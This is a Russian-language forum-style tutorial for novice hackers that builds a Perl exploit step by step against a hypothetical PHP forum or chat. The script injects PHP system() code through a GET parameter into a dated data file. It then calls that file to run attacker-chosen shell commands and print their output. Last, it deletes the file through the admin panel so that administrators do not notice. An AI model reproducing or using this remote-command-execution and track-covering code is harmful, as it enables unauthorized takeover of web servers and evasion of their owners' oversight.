Многие начинающие так сказать хакеры начиная постепенно изучать теорию взлома доходят до
сплоитов имхо взлом без сплоитов ето не взлом-мое сугубо личное мнение и не подлежит обяснению! И так.... сплоиты пишут на многих языках прогаммирования ,но мы россмотрим язык Perl .
Я задел ету тему потому что большое количество новичков
сталкиваются с проблемой (скачал сплоит .а он не работает) ИМХО в нем допущены СПЕЦИАЛЬНО ошибки от киддисов!
Сплоит написаный на Perle отличается от других строчкой в начале
#!/usr/bin/perl!Для того чтобы понять их ошибки и принцип работы попробуем самим написать простенький эксплоит.
Будем писать на примере какого нить форума (чата) считая что он не использует БД и вся инфа о пользователях хранится в открытом виде но в PHP формате.
Для того чтобы писать сплоит надо знать что он будет делать (эксплуатировать уязвимость) будем считать что вы нашли баг в форуме (чате)!И сплоит будет:
- вывод запроса на ввод урла сайта и каталога чата;
- коннект к этому адресу;
- запрос на ввод системной команды;
- передача файлу null.php этой команды;
- запуск файла /data/dd.mm.gggg.php с выбранной командой, и считывание ответа;
- удаление файла /data/dd.mm.gggg.php.
Етот пример сплоита показывает уязвимость что в PHP файл можно записатьлюбые даные .Ну вперед..........
1 строчка во всех Perl скриптах одинаковая , вовремя отладки желательно к ней добавлять еще и (-w) тогда перл будет сигнализировать о всех допущенных ошибках.
После етого идет поключение в скрипт нужных библиотек в нашем случае ето работа с сокетами
Для вывода запроса на ввод урла и каталога будем использовать команду print, правда некоторые сплойты использует другой способ передачи данных скрипту используя переменную $ARGV, объясню как она работает:
В этом случае переменные передаются скрипту через пробел и заносятся в массив, к примеру если передать
Код:
perl script.pl x1 x2 x3
то $ARGV[0] будет равно x1, $ARGV[1]=x2 ,a $ARGV[2]=x3
К примеру код уязвимости
Код:
print "Adress of site(www.site.com): ";
$url=<STDIN>;
print "Catalog(chat): ";
$dir=<STDIN>;
chomp $url;
chomp $dir;
команда print тока выводит на экран строчку, <STDIN> - это запрос на ввод текста, который в нашем случае затем присваивается переменной. Команда chomp служит для удаления из переменной символов переноса строки.
Добавляем к переданному урлу http://
Код:
$url =~ s/(http:\/\/)//eg;
Теперь конектимся к требуемому адресу, тут все понятно
Код:
$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
print "--[ Connect ok ]--\n";
Передаем через команду print урлу строчку, которая запускает null.php .
Код:
$file="/$dir/null.php?h=1&col=<?system(\$id);?>";
print $connect "GET $file HTTP/1.0\r\n\r\n";
Вывод запроса на ввод системной команды и сохранение его в переменной $sys
Код:
print "System command(ls -la):";
$sys=<STDIN>;
chomp $sys;
Вычисление текущей даты, понадобится для определения в какой файл записался наш кусок кода
Код:
@date=localtime;
$day=$date[3];
$mon="$date[4]"+1;
$year="$date[5]"+1900;
$dt="$day.$mon.$year";
Коннект, и запуск файла с нашим кодом
Код:
$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
$file2="/$dir/data/$dt.php?id=$sys";
print $connect "GET $file2 HTTP/1.0\r\n\r\n";
Считывание результата выведенного на экран, в результате выполнения нашей системной команды
Код:
print "--[ Resultat ]--\n";
while ($answer = <$connect>)
{
print $answer;
}
Теперь чтобы наш файл не бросался в глаза админам, мы его удаляем, через админку
Код:
$file3="/$dir/report.php?status=admin&del=$dt";
$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
print "--[ Delete file /$dir/data/$dt.php ]--\n";
print $connect "GET $file3 HTTP/1.0\r\n\r\n";
Теперь копируем в файл все строчки кода
в той же очередности и сохраняем с росширением .pl
Все сплоит готов!
Для запуска сплоита понадобится Perl интерпритатор.